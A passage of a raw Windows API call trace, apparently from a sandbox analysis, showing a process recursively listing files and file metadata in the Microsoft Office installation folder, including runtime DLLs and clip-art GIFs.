lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0277.320] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0277.321] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0277.322] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0277.322] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0277.322] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0277.322] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0277.323] GetProcessHeap () returned 0xaf0000 [0277.323] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b8288 | out: hHeap=0xaf0000) returned 1 [0277.323] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0277.323] GetProcessHeap () returned 0xaf0000 [0277.323] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b8288 [0277.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0277.323] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.323] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0277.324] GetProcessHeap () returned 0xaf0000 [0277.324] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0277.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0277.324] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.324] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0277.325] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, 